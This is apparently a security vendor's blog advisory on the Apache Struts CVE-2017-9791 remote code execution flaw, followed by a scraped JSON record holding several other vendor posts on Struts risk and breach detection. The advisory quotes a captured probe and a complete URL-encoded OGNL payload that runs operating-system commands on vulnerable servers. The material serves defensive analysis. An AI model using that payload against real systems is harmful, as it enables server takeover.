On July 7th, a new security vulnerability was published in Apache Struts 2 CVE-2017-9791 (S2-048[1]). Struts 2.3.x users with Struts 1 plugin, which includes the Showcase app, are vulnerable.
Once again, this vulnerability enables a Remote Code Execution (RCE), which is the most commonly exploited Apache Struts vulnerability. In this case, as in many other cases of RCE in Apache Struts, the attacks observed in the wild are also carried in the form of Object-Graph Navigation Language (OGNL) expressions.[2]
Like the recent Struts 2 RCE [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>), Imperva customers are protected against current variations of the attack using the zero-day attack detection mechanism in either SecureSphere or Incapsula. The zero-day attack detection mechanism protects against malicious traffic regardless of a specific web exploit.
## The Vulnerability
Based on [Apache release notes](<https://cwiki.apache.org/confluence/display/WW/S2-048>), “it is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it's a Struts 1 action and the value is a part of a message presented to the user”. The message presented to the user is processed by the “ActionMessage” routine and returned back to the user by the “message” function as follows:
messages.add("msg", new ActionMessage(**the_message**));
Lacking proper validation before execution, the message (the_message) processed by the server may potentially cause a remote code execution. To fulfill its execution potential, a remote entry point is required for the message. Following the route of the vulnerable code leads to this location:
/struts2-showcase/integration/saveGangster.action
Poking around the webpage reveals several inputs controlled by the user, including name, age, and description (see Figure 1):
_Figure 1: Vulnerable Apache Struts application_
When submitting the “Gangster” data the server processes the user’s input with the vulnerable “ActionMessage” routine and returns a message to the user (see Figure 2):
_Figure 2: Request to the vulnerable page and result_
As can be observed, the processed message is integrated with the user’s input data (“_Gangster a added…_”) which means now the input data can be modified to include arbitrary code execution (see Figure 3). For instance, the RCE payload can add a custom header to the response message or use an OGNL mechanism to run malicious code (see the second payload in “Attacks in the Wild” section):
_Figure 3: Exploitation of the vulnerable application_
## Imperva Zero-Day Protection
As mentioned earlier, Imperva customers are protected against this new Apache Struts vulnerability using zero-day detection mechanisms from either SecureSphere or Incapsula, which detect incoming traffic with malicious content, regardless of a specific vulnerability or exploit.
The zero-day detection technique prevents the new attack using two complementary deterrence layers:
* First, since the exploit includes an arbitrary remote code to be executed, customers are protected out-of-the-box to most attack variations using a generic Remote Command Execution mitigation mechanism (see Figure 4):
_Figure 4: SecureSphere blocking a generic RCE_
* Then, in the second layer of defense, SecureSphere and Incapsula both detect potential OGNL expressions which are used to manipulate Java objects, and are commonly used by attackers to inject remote code in vulnerable Apache Struts servers, including in this attack (see Figure 5):

_Figure 5: SecureSphere blocking a generic OGNL-based RCE_
Nevertheless, to be on the safe side, a few hours following the release of this critical vulnerability our security teams published a dedicated mitigation guideline and virtually patched Imperva customers.
## Attacks in the Wild
An increasing amount of attack attempts have been seen since the publication of this new Struts vulnerability, mostly as hard copy replication of PoCs published shortly after the first announcement, and refer to reconnaissance attempts to track vulnerable servers. Below are details on two common payloads seen in the wild.
### Payload #1: Custom Header Insertion Attempts
**Part of a blocked HTTP request carrying CVE-2017-9791 RCE exploit**
---
**HTTP Method:** | POST
**POST Body:** | **${#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-BIGSCAN-Test','fe9a40f002fe11e7b4ef0242c0a8050′)}**
**URL:** | /struts2-showcase/integration/savegangster.action
HTTP headers are easily parsed and extracted with automated scripts, therefore validating the existence of a new custom HTTP header is very straight forward for the attackers to implement and can be used as a reconnaissance request before the actual attack – i.e., the actual RCE which will take over the server.
In most cases attackers will use this kind of reconnaissance as part of a vulnerability scanning tool on predefined IPs range, facilitating bots to effectively scan a wide range of addresses. Based on our classification analysis, IPs that were registered in this attack are known to generate mostly bot traffic (~96%).
### Payload #2: OGNL Expression Execution Attempts
**Part of a blocked HTTP request carrying CVE-2017-9791 RCE exploit**
---
**HTTP Method:** | POST
**POST Body:** | **%7b%28%23szgx%3d%27multipart%2fform-data%27%29.%28%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3f%28%23_memberAccess%3d%23dm%29%3a%28%28%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d%29.%28%23ognlUtil%3d%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3d%27echo%20891549112%27%29.%28%23iswin%3d%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3d%28%23iswin%3f%7b%27cmd.exe%27%2c%27%2fc%27%2c%23cmd%7d%3a%7b%27%2fbin%2fbash%27%2c%27-c%27%2c%23cmd%7d%29%29.%28%23p%3dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3d%23p.start%28%29%29.%28%23ros%3d%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2c%23ros%29%29.%28%23ros.close%28%29%29%7d**
**URL:** | /struts2-showcase/integration/savegangster.action
Decoding the URL’s payload injected to the name parameter unveils the following RCE (see Figure 6):
_Figure 6: OGNL-based RCE (URL Decoded)_
The payload in this case refers to an attempt to execute OGNL expression, as an entry point to the attack. Again, in this case it is only a reconnaissance attempt before the attack, in which the attacker echoed a random generated number “89159112” to match when processing the response message.
It will be interesting to monitor the trending exploits over time and to see if and how the reconnaissance trend gradually shifts to actual exploitation attempts of these servers.
## Stay Protected
Based on the official [advisory](<http://seclists.org/oss-sec/2017/q3/92>) this vulnerability does not affect applications using Struts 2.5.x series or applications that do not use the Struts 1 plugin. Meaning that an update is required for those who use the earlier vulnerable patches. It is also mentioned that even if the Struts 1 plugin is available while excluding certain code parts, the application is safe.
An alternative to the formal advisory, which could be costly and time consuming, is [virtual patching](<https://www.owasp.org/index.php/Virtual_Patching_Best_Practices>). Instead of leaving a web application exposed to attack while attempting to modify code after discovering a vulnerability, virtual patching actively protects web apps from attacks, reducing the window of exposure and decreasing the cost of emergency fix cycles until you’re able to patch them.
In addition to virtual patching, zero-day detection mechanisms such as those mentioned above protect sites by detecting and blocking new strains of attack prior to its release without any modification to systems.

{"impervablog": [{"lastseen": "2017-12-25T19:52:24", "description": "I recently took a step back to review all the content we shared in 2017 on the Imperva blog. We covered a broad range of topics including data security, cloud migration, application and API security, AI and machine learning, cybersecurity research, GDPR, insider threats and more. We were busy! Cybersecurity certainly held the world's attention in 2017.\n\nSeveral stories rose to the top as either most read by you, particularly relevant to today's cybersecurity industry or exceptionally newsworthy (and in some cases, all of the above). For an end-of-year reading shortlist, I've compiled our top 10 blog posts from 2017.\n\n## 1\\. What\u2019s Next for Ransomware: Data Corruption, Exfiltration and Disruption\n\nThe WannaCry ransomware attack caught everyone off guard, infecting more than 230,000 computers in 150 countries by encrypting data on networked machines and demanding payments in Bitcoin. We wrote about how to [protect against it](<https://www.imperva.com/blog/2017/05/protect-against-wannacry-with-deception-based-ransomware-detection/>), but our post on [what's next for ransomware](<https://www.imperva.com/blog/2017/05/whats-next-for-ransomware/>) garnered even more attention\u2014it was our most read post of the year.\n\n## 2\\. CVE-2017-5638: Remote Code Execution (RCE) Vulnerability in Apache Struts\n\nApache Struts made headlines all over the place in 2017. The [vulnerability we wrote about in March](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) hit it big and just kept on going. You might remember it reared its ugly head later in the year when it was tied to the Equifax breach. (We also wrote about two other Apache Struts vulnerabilities: [CVE-2017-9791](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>) and [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>).)\n\n## 3\\. Top Insider Threat Concern? Careless Users. [Survey]\n\nWe [surveyed 310 IT security professionals](<https://www.imperva.com/blog/2017/07/top-insider-threat-concern-careless-users-survey/>) at [Infosecurity Europe](<http://www.infosecurityeurope.com/>) in June on their thoughts on insider threats. The big reveal? More than half (59 percent) were concerned not primarily about malicious users, but about the careless ones who unwittingly put their organization\u2019s data at risk. (We shared more about insider threats in this [infographic](<https://www.imperva.com/blog/2017/05/thwart-insider-threats-with-machine-learning-infographic/>).)\n\n## 4\\. Uncover Sensitive Data with the Classifier Tool\n\nIn July we launched Classifier, a free data classification tool that allows organizations to quickly uncover sensitive data in their databases. The response was immediate\u2014over 500 [downloads ](<https://www.imperva.com/lg/lgw_trial.asp?pid=582>)and counting\u2014not surprising given it helps jump start the path to compliance with the GDPR. [Our blog post ](<https://www.imperva.com/blog/2017/07/uncover-sensitive-data-with-the-classifier-tool/>)walked through the steps of how to use the tool.\n\n## 5\\. Professional Services for GDPR Compliance\n\nSpeaking of the GDPR, the new data protection regulation coming out of the EU was on everyone's radar this year. We wrote a LOT about GDPR, including [who is subject to the regulation](<https://www.imperva.com/blog/2017/02/gdpr-series-part-1-gdpr-apply/>), [what rules require data protection technology](<https://www.imperva.com/blog/2017/03/gdpr-series-part-2-rules-require-data-protection-technology/?utm_source=socialmedia&utm_medium=organic_empshare&utm_campaign=2017_Q1_GDPRPart2>), and the [penalties for non-compliance.](<https://www.imperva.com/blog/2017/03/gdpr-series-part-4-penalties-non-compliance/>) However, our post on the [professional services we offer for GDPR compliance](<https://www.imperva.com/blog/2017/10/professional-services-for-gdpr-compliance/>) drove the most traffic on this topic by far.\n\n## 6\\. The Evolution of Cybercrime and What It Means for Data Security\n\nHackers tactics may change, but what they\u2019re after doesn\u2019t\u2014your data. Stealing or obstructing access to enterprise data is the foundation of the cybercrime value chain. We discussed how the [changing nature of cybercrime](<https://www.imperva.com/blog/2017/06/the-evolution-of-cybercrime-and-what-it-means-for-data-security/>) and app and data accessibility create risk and the essentials of application and data protection in this ever-changing world.\n\n## 7\\. Move Securely to the Cloud: WAF Requirements and Deployment Options\n\nMoving to the cloud has become an overwhelmingly popular trend even among those who were at first reluctant to make the move. In this post, we discussed [requirements and deployment options for evaluating a WAF for the cloud](<https://www.imperva.com/blog/2017/06/waf-requirements-and-deployment-options-for-the-cloud/>). (We also wrote about the [benefits of a hybrid WAF deployment ](<https://www.imperva.com/blog/2017/11/cloud-waf-versus-on-premises-waf/>)and the pros and cons of both cloud and on-prem WAFs.)\n\n## 8\\. Clustering and Dimensionality Reduction: Understanding the \u201cMagic\u201d Behind Machine Learning\n\nEverywhere you turned in 2017 you heard about AI and machine learning and the impact they're having, or will have, on essentially everything. Two of Imperva's top cybersecurity researchers explained in detail [some of the techniques used in machine learning](<https://www.imperva.com/blog/2017/07/clustering-and-dimensionality-reduction-understanding-the-magic-behind-machine-learning/>) and how they're applied to solve for identifying improper access to unstructured data. (Those two researchers were also awarded a patent for their machine learning work this year!)\n\n## 9\\. Can a License Solve Your Cloud Migration Problem?\n\nGartner published their [2017 Magic Quadrant for Web Application Firewalls ](<https://www.imperva.com/blog/2017/08/gartner-magic-quadrant-for-wafs-a-leader-four-consecutive-years/>)(WAF) in August and Imperva was once again named a WAF leader, making it four consecutive years. We stood out for offering security solutions for today's changing deployment and infrastructure model. [In this post](<https://www.imperva.com/blog/2017/11/license-solve-cloud-migration-problem/>) we wrote about our flexible licensing program, which lies at the core of the move to the cloud: helping customers secure apps wherever they need, whenever they need, for one price.\n\n## 10\\. The Uber Breach and the Case for Data Masking\n\nLast but not least, we couldn't ignore the Uber breach. Hard to believe in today's world that log in credentials were shared in a public, unsecured forum, but that's what happened. The breach did highlight an important issue, that of production data being used in development environments.

But this frames the issue poorly. \u201cProblem\u201d and \u201csolution\u201d imply that there is a definitive \u201csolve.\u201d\n\nCybercrime isn\u2019t a technical problem that can be definitively solved. It is an inherent business risk of having something of value. And risk can\u2019t be solved. Risk can only be managed.\n\nThe thing that differentiates cyber security from almost any other IT discipline (disaster recovery and business continuity in a post 9/11 world is another) is that with cyber security there is an adversary, and that adversary is motivated and incented to beat you. And if you have something of value to them, and if their reward outweighs their risk, they will continually evolve their tactics to get to it.\n\nBusiness-driven digital transformation is driving exponential growth in the number of knowledge workers, websites, mobile apps, APIs, file servers, databases, etc. Each of these enable our businesses to collect, generate and/or use data to competitive advantage.\n\nIn security parlance, this is known as \u201csurface area\u201d; that which is exposed to an attacker. Each is either an end target of the cybercriminal, or a vector a cybercriminal uses to get to data. The more our businesses digitize, the more surface area there will be. Most of this surface area (the big exception is people themselves) is manifested as technology.\n\n## What\u2019s this got to do with Apache Struts?\n\n[Apache Struts](<http://struts.apache.org/>) \u2013 and you\u2019d have to work hard to find something that initially seems more disconnected from business risk as Apache Struts \u2013 illustrates this.\n\nApache Struts is a framework that extends the Java Servlet API for writing web/mobile/API-based applications. Digital transformation means more apps. More apps mean more use of frameworks like Struts. Which means more technical surface area exposed to attackers. This illustrates why \u201cjust reduce surface area\u201d alone isn\u2019t a strategy. Less surface area means less apps, which would mean less digital transformation itself. Given the perceived cost and revenue-side business benefits of digital transformation, this is not likely to happen.\n\nStruts, and other similar frameworks, basically enable developers to write Java apps faster. Struts has been around, in one form or another, since 2000. The current framework \u2013 [Apache Struts 2](<https://en.wikipedia.org/wiki/Apache_Struts_2>) \u2013 was initially released in 2007. Some estimate it is used by 65 percent of the Fortune 500.\n\nOur [research team](<https://www.imperva.com/DefenseCenter>) \u2013 which is the same team that releases our WAF signatures/virtual patches for known vulnerabilities \u2013 collected the following stats on Struts:\n\n * 75 published security vulnerabilities to date\n * 83% of the vulnerabilities can be accessed via a remote attacker (i.e., via network)\n * 75% of the vulnerabilities have working exploits\n * 35% of the vulnerabilities may allow remote code execution (RCE) attacks\n\n### What is RCE?\n\n[RCE](<https://www.imperva.com/blog/2017/01/remote-code-execution-rce-attacks-apache-struts/>) is nasty. IMHO, nastier than the more famous/infamous application vulnerability [SQL injection](<https://www.imperva.com/app-security/threatglossary/sql-injection/>). RCE, or remote code execution, allows an attacker to replace the parameters normally submitted as part of an API call with malicious code. Crafted carefully, this malicious code will then execute on the server. What this malicious code does is up to the attacker. Given that web apps frequently access back-end data stores, the potential for a RCE vulnerability to be exploited to breach data is apparent.\n\nIn 2017, there have been four different Apache Struts RCE vulnerabilities:\n\n * CVE-2017-12611\n * [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>)\n * [CVE-2017-9791](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>)\n * [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>)\n\nA close look at these shows several strategies for both reactively and proactively protecting application surface area. These certainly apply to Apache Struts, but also to most application frameworks.\n\n## Ways to Protect Application Surface Area\n\n### Patch Servers\n\nThe long-term fix for a vulnerability is to patch the servers. However, rolling out a patch across thousands of servers running hundreds of different apps owned by tens of different app teams is a not a trivial task. It can take months. Which is why most servers aren\u2019t at current patch levels.\n\nThere is another bit of nastiness around patching as well. Sometimes patches aren\u2019t backwards compatible. [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) contains this: _\u201cIt is possible that some REST actions stop working because of applied default restrictions on available classes.\u201d _In layman\u2019s terms, this means applying the patch can break an existing app. This gets to the heart of why security is risk management: deciding to apply a patch prior to testing a patch with all apps runs the risk of breaking the apps (a.k.a., \u201cpotentially bringing down a website\u201d).\n\n### Virtual Patching\n\nA virtual patch uses a gateway (WAF, IDS, network firewall) that monitors traffic to identify and block an attack before it reaches a web server. _Note, not all types of security gateways can apply a virtual patch to all types of vulnerabilities. _\n\nFor Struts CVE-2017-9805, Imperva used the [ThreatRadar](<https://www.imperva.com/Products/ThreatRadarSubscriptions>) Emergency Feed to distribute a signature and a corresponding virtual patch to SecureSphere Web Application Firewall users within 48 hours of the CVE\u2019s disclosure. Emergency Feed is an opt-in service that leverages the communication channel between SecureSphere and the Imperva cloud to automatically distribute signatures and associated policies to mitigate highly critical vulnerabilities. This in effect automatically deploys a virtual patch for the vulnerability. A policy accomplishing the same thing was uploaded to Incapsula in the same timeframe, accomplishing the same thing for any Incapsula WAF customers.\n\nVirtual patches for known CVEs are useful, but they are reactive. They are predicated upon knowing about a vulnerability in the first place. There is no (despite what some may say) general signature that spans all RCEs. The following are proactive defenses that can be used to protect against application vulnerabilities (RCE and otherwise).\n\n### Reputation-based Blocking\n\nThe vast majority of attacks launched against web app frameworks are automated. For example, for [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>), 40% of the attacks tracked by our research team originated from a single server in China. There is no reason for any traffic from any source like this to be reaching web servers. Imperva ThreatRadar IP Reputation can be set to fetch the latest IP Reputation feeds several times an hour. While this won\u2019t catch every instance of an attack, it is an excellent filter that will proactively block a large portion of the automated attacks that target web apps.\n\n### Anti-automation\n\nIP reputation isn\u2019t the only mechanism for stopping automated attacks. Both SecureSphere and Incapsula provide functionality for identifying and blocking bots, regardless of the bot\u2019s intent. Both use the same underlying technology to progressively profile a request to determine if the request is a human or a bot, and if a bot a good bot or a bad bot. Identifying and blocking requests from bad bots is another technique for scrubbing automated attacks targeting web apps.\n\n### Web Application Firewall Zero Day Protections\n\nReputation and anti-automation are extremely effective at filtering automated attacks from bad actors, but a careful attacker will be able to mask itself, especially when focusing upon a specific app or enterprise.\n\nHowever, to exploit an RCE vulnerability in every case the attacker needs to send the malicious code \u2013 the \u201cpayload\u201d \u2013 to the app in question. This payload will look wildly different from the typical content (e.g., an API call) submitted to an app. By learning what payloads are normally submitted via various form submissions and API calls, a solid WAF can prevent something like CVE-2017-9805 without knowing the vulnerability exists, and without ever seeing the payload before. The SecureSphere WAF uses machine learning to understand how an application normally behaves, and then uses it to identify and block anomalous requests.\n\nImperva zero day protections identified Apache Struts exploits almost immediately via a few different mechanisms:\n\n * Upon learning of a vulnerability, attackers will frequently \u201cspray and pray\u201d an attack against numerous apps, and various forms/APIs within an app. Given automation, its more cost effective for them to just broadly launch an attack than it is first determine if an app/API is even vulnerable. We saw this for CVE-2017-9805 almost immediately, identifying it a \u201cunknown content type for known URL\u201d. In English, this translates to \u201cnot only is this not normal, it isn\u2019t even content that this URL can process.\u201d These kinds of alerts are an early \u201ctell\u201d that something is afoot, and our research team uses them as both an early indicator, as well as to inform our ThreatRadar threat intelligence feeds.\n * If the app is susceptible to the vulnerability, a malicious payload will still not conform to normal application traffic. In the case of CVE-2017-9805, SecureSphere will identify an \u201cunknown parameter\u201d or \u201cparameter type violation.\u201d\n * In most cases, the payload is much larger/longer than a normal request. In these cases, a \u201cparameter length violation\u201d will surface.\n\n## The Role of App Security Domain Expertise\n\nWhat only someone who lives and breathes this stuff on a day-in/day-out basis knows is that any one of these violations by themselves isn\u2019t necessarily an attack. Policies built on evaluating any of this in isolation can result in a high rate of false positives. False positives are the bane of IT security\u2019s existence, _because when looking at a screen full of alerts, you don\u2019t know which ones are false and which aren\u2019t. _The net effect is ignoring them all.\n\nSecureSphere WAF has [patented capabilities](<https://www.imperva.com/Products/AdvancedTechnologies>) that evaluate the relationships between multiple violations. This ability to analyze seemingly independent violations coming from different layers of the app stack (e.g., network protocol, parameter length, IP reputation, etc.) together greatly enhances accuracy. This not only minimizes false positives, but more importantly provides the confidence to actually _block_ requests.\n\n## Manage Business Risk, Protect Against App Exploits\n\nAccording to the [2017 Verizon Data Breach Investigation Report](<http://www.verizonenterprise.com/verizon-insights-lab/dbir/2017/>) more successful breaches resulted from attacks on web apps than any other type of attack. This is telling since web app attacks are only number four in terms of incident frequency.\n\nAttackers realize that web app frameworks like Struts (and all frameworks have security issues) are particularly attractive targets. Since they are used for public facing web apps, they can\u2019t be hidden behind layers of network security. Their role is to accept inputs (web form parameters, API calls, etc.) and then process these inputs, which directly maps to particularly dangerous exploits like SQL injection and RCE. Since frameworks are widely adopted, attackers automate their attacks so they can cost effectively leverage their effort across thousands of websites.\n\nBusiness will roll out more application functionality. The cost savings and revenue generating opportunities from digital transformation pretty much guarantee we\u2019ll have more app surface area next year than this year.

Everyone assumes they are safe, but as with your home, organizations must invest in security at entry points. Otherwise, the result is unsecured valuables lying around out in the open or easy to find in obvious closets or drawers.\n\nWhat happens to security when someone known to the homeowners, like a plumber, gardener, or friend, has access to the house? It becomes much easier for other people to exploit the homeowner and access the property.\n\nThe same principle applies to organizations. They deploy most of their security strategy on the perimeter and leave their \u201cdeep\u201d data repositories vulnerable to data breaches. Bad actors have the opportunity to exploit organization insiders or third-party software components. A [2022 Forrester report](<https://www.imperva.com/resources/resource-library/white-papers/forrester-insider-threats-drive-data-protection-improvements-full-report/>) revealed that 58 percent of sensitive data incidents are caused by insiders, either from non-malicious mistakes or deliberately malicious actions. The report also revealed that 82 percent of organizations do not have an insider risk management strategy or policy. It doesn\u2019t, however, have to be this way.\n\nYour data repositories contain the sensitive personal data of your business, employees, and customers, and, much like the valuables around your home, you should have a security strategy to safeguard them effectively. Staying with the home security metaphor, you need to consider turning the containers of your valuables into secure vessels, minimizing the number of people who could secure access, and gaining the ability to inventory losses when they happen. In data security, this means encryption, minimal entitlements, access control, and advanced analytics. Forrester data suggests, however, that not all organizations understand how to create an effective data security strategy, and their biggest mistake is not effectively addressing the insider threat.\n\nTwo critical business trends contribute to the ease with which bad actors can sneak undetected into your organization's infrastructure and breach sensitive data, and we address them in this post. Next, we\u2019ll explain general data breach attack flows and profile typical attackers to help you gain a better understanding of who and what to look for. Finally, we\u2019ll make some recommendations on how you can integrate a modern data security fabric with existing tools to create an effective, sustainable data security strategy.\n\nThe cost of an intruder who has access to the \u201chouse\u201d on an ongoing basis cannot be overstated. Every day, bad actors can exploit your vulnerable data repositories and your structured, semi-structured, and unstructured data to exfiltrate the sensitive information for which you are responsible. This can easily play a role in the data exfiltration process by acting as temporary storage or a proxy to transport the data from a secure environment to an unprotected environment and then to the outside. This is the essence of a data breach - a successful attempt to open the closet or \u201ccrack\u201d the safe and expose the sensitive personal data contained in it.\n\n## Two business trends make organizations vulnerable\n\n 1. **The need to integrate with external technology providers.** Some CISOs and their team members struggle to secure a business services environment, which becomes additionally challenging as business operations agility grows.\n 2. **The evolution of cloud computing.** As organizations transition to the cloud, they are using third-party cloud-managed computing environments and third-party SaaS services to accelerate the migration process.\n\n## Data breaches are far more common today because of third parties\n\nRelying on third party code and services providers means that an organization's information technology infrastructure is exposed to suppliers that do not have a robust data security strategy aligned with the organization\u2019s own. The risk becomes much greater as every third-party technology provider's security vulnerabilities, in effect, become yours.\n\nThe first step for CISOs and their security teams is to secure all sensitive data assets and gain complete visibility into all data repositories that are part of the organization's architecture. This includes legacy repositories deep in the architecture and new ones, in on-premises and cloud-managed environments. Even data repositories that you don\u2019t know exist yet. When you have that level of visibility, then you can evaluate vulnerabilities, figure out who should have privileged access to the repositories and why, then optimize your detection and response process to deal with potential breaches.\n\n## General data breach attack flows\n\nMost data breaches have common characteristics, no matter the details of the breach. First, the attacker needs to penetrate the organization's IT (Information Technology) or OT (Operational Technology) environments, look around and find the asset of interest that it can take.\n\n### Examples of Early Signs of a Data Breach\n\n**Signs in critical stages:**\n\n**Reconnaissance:**\n\n * System tables scan\n * Massive database scan\n * Multiple login attempts\n\n**Exploitation:**\n\n * Open command shell\n * Machine takeover\n\n**Data Access:**\n\n * Service account misuse\n * Retrieving high numbers of records\n * Accessing business-critical data\n\n**General Signs:**\n\n * Work/activity in unusual hours\n * Use of dynamic SQL\n\n## Data breach attacker types\n\n### Hit & Run\n\nThis \u201cOpportunist\u201d identifies an opportunity; whether it is a vulnerability, a publicly open database, or something else. The bad actor decides to take what they can and leave. This kind of attacker will not try to search for other databases or penetrate the organization\u2019s network, or try to execute exotic exploits, etc. They will just take what they can, and then sell it to the highest bidder.\n\n### The Curious\n\nThis attacker usually sets out with a purpose, but may decide to look deeper. They may look around a little bit, but not too much. They are still focused on their original purpose, malware deployment, data exfiltration, etc.\n\n### The Resident\n\nThe most dangerous type, as in the \u201cEquifax\u201d breach, the Resident will gain access to the organization\u2019s network and will stay for months, sometimes years. They will use keyloggers, sniffers, and other methods to steal credentials and compromise databases, using \u201c[Low and Slow](<https://www.imperva.com/blog/the-account-takeover-threat-a-by-the-numbers-breakdown/>)\u201d and other methods to stay undetected.\n\n## Common data breach attack examples\n\nThe attacks that cause the greatest damage are \u2018The resident\u2019 attacks. Let's consider some examples to understand how these attacks are forged.\n\n### The resident attack\n\nInfosec disasters are typically the result of multiple failures. Invariably, post-breach analysis reveals several security weaknesses that allowed attackers to steal terabytes of information from supposedly secure systems.\n\nThere are several well-known, high-impact incident reports, such as Equifax, Anthem Inc., and the U.S. Office of Personnel Management that describe pre-breach progressions falling under this category.\n\n### Typical attack flow\n\n 1. The initial hack is done via a web-facing application, one example can be the Equifax customer complaint portal and its CVE-2017-5638 vulnerability. **ThreatPost:** _\u201cEquifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted. We know that criminals exploited a U.S. website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638.\u201d_\n 2. Attackers exploit weaknesses in the company's security posture, notably the lack of proper segmentation.\n 3. In almost all major breaches, a lack of continuous security patching of servers and databases contributes to the attack\u2019s success.\n 4. Unpatched servers and databases provide the resident attacker room to operate freely within the company's network for a protracted amount of time.\n 5. In almost all these attacks, the intruders were in the company\u2019s environment for months, customizing their attack tools over and over again until the sensitive data was successfully compromised.\n\n### Ransomware attack\n\nThis type of attack is designed to disable critical systems or prevent sensitive data access by privileged users until a specified amount of money is paid. Ransomware attacks have become more and more sophisticated. They typically involve:\n\n1\\. Penetrating the organization's IT environment\n\n * Malware installed on an endpoint operating system via a phishing attack.\n * Account Takeover (ATO) attacks use stolen credentials to penetrate the organization\u2019s environment.\n\n2\\. Analyzing network resources to allocate databases that hold personal, financial, or business-critical information.\n\n3\\. Making the original data stored unusable by:\n\n * Encrypting the data.\n * Extract data either to a hidden file in the network or outside.\n * Modify data values stored.\n\n### Ransomware attack detection example\n\nIn this attack, the data is moved from the original database to a readme file.\n\nDB breach flow:\n\n 1. Attacker query for databases list.\n 2. Attacker selects prod_db.\n 3. Data is being stolen from prod_db using the 'select'.\n 4. Prod_db is being deleted using 'drop'.\n\n## How should organizations protect their home environment\n\nImperva research shows that much like using a safe at home, when organizations secure their data repositories with a data-centric security fabric, and when a hostile penetration occurs, they dramatically reduce data exfiltration risk by turning all open repositories into well protected alarmed enabled safes. This shortens the path from breach to detection to response.\n\nAs business innovation and the services that support it are digitally transformed, the perimeter boundaries have blurred. The \u201cwalls\u201d that protect data repositories have cracks that allow attackers to put their hands on sensitive data, effectively ending the days of protecting assets within the network perimeter. The security of an organization is only as strong as the weakest link in the security chain. In many cases, better architecture and cross-organization security practices would do the trick, but those practices are not easy to implement and control, nor do they account for the risks presented by third-party technology providers. You must secure all the data repositories they manage, not just the applications and networks that surround them.\n\nThe cause of most breaches is the lack of an in-depth data security strategy. As we discussed before, you can reduce the attack surface by securing your data repositories, but you must gain visibility into them. Next, eliminate excessive privileges from key users and deploy strong authentication mechanisms. Never forget that securing data repositories is a never-ending process, you must always work toward optimizing your security architecture, policies, and practices, both for your assets and employees. Continuously performing data discovery and classification to locate sensitive personal data is a great way to maintain an enterprise-grade data security strategy and eliminate bad practices inside on-premises and cloud-managed environments.

Topics covered will include:\n\n * Where breaches are found\n * Understanding data breach detection\n * Early signs of a breach\n * Kill chain and data compromise\n * Real life example of a breach DRA can detect - Ransomware\n * What\u2019s on the roadmap?\n\n[Watch the webinar today](<https://community.imperva.com/events/event-description?CalendarEventKey=afb10612-12cf-4e6d-9fe6-b3a4486a966f&CommunityKey=39c6092a-d67a-4bc2-8134-bfbb25fc43af&Home=%2fevents>).\n\nThe post [Two New Trends Make Early Breach Detection and Prevention a Security Imperative](<https://www.imperva.com/blog/two-new-trends-make-early-breach-detection-and-prevention-a-security-imperative/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-08-31T13:47:34", "type": "impervablog", "title": "Two New Trends Make Early Breach Detection and Prevention a Security Imperative", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2022-08-31T13:47:34", "id": "IMPERVABLOG:CD196CDD794CCCE3719A9D38DA5BE417", "href": "https://www.imperva.com/blog/two-new-trends-make-early-breach-detection-and-prevention-a-security-imperative/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-04-26T20:41:18", "description": "We 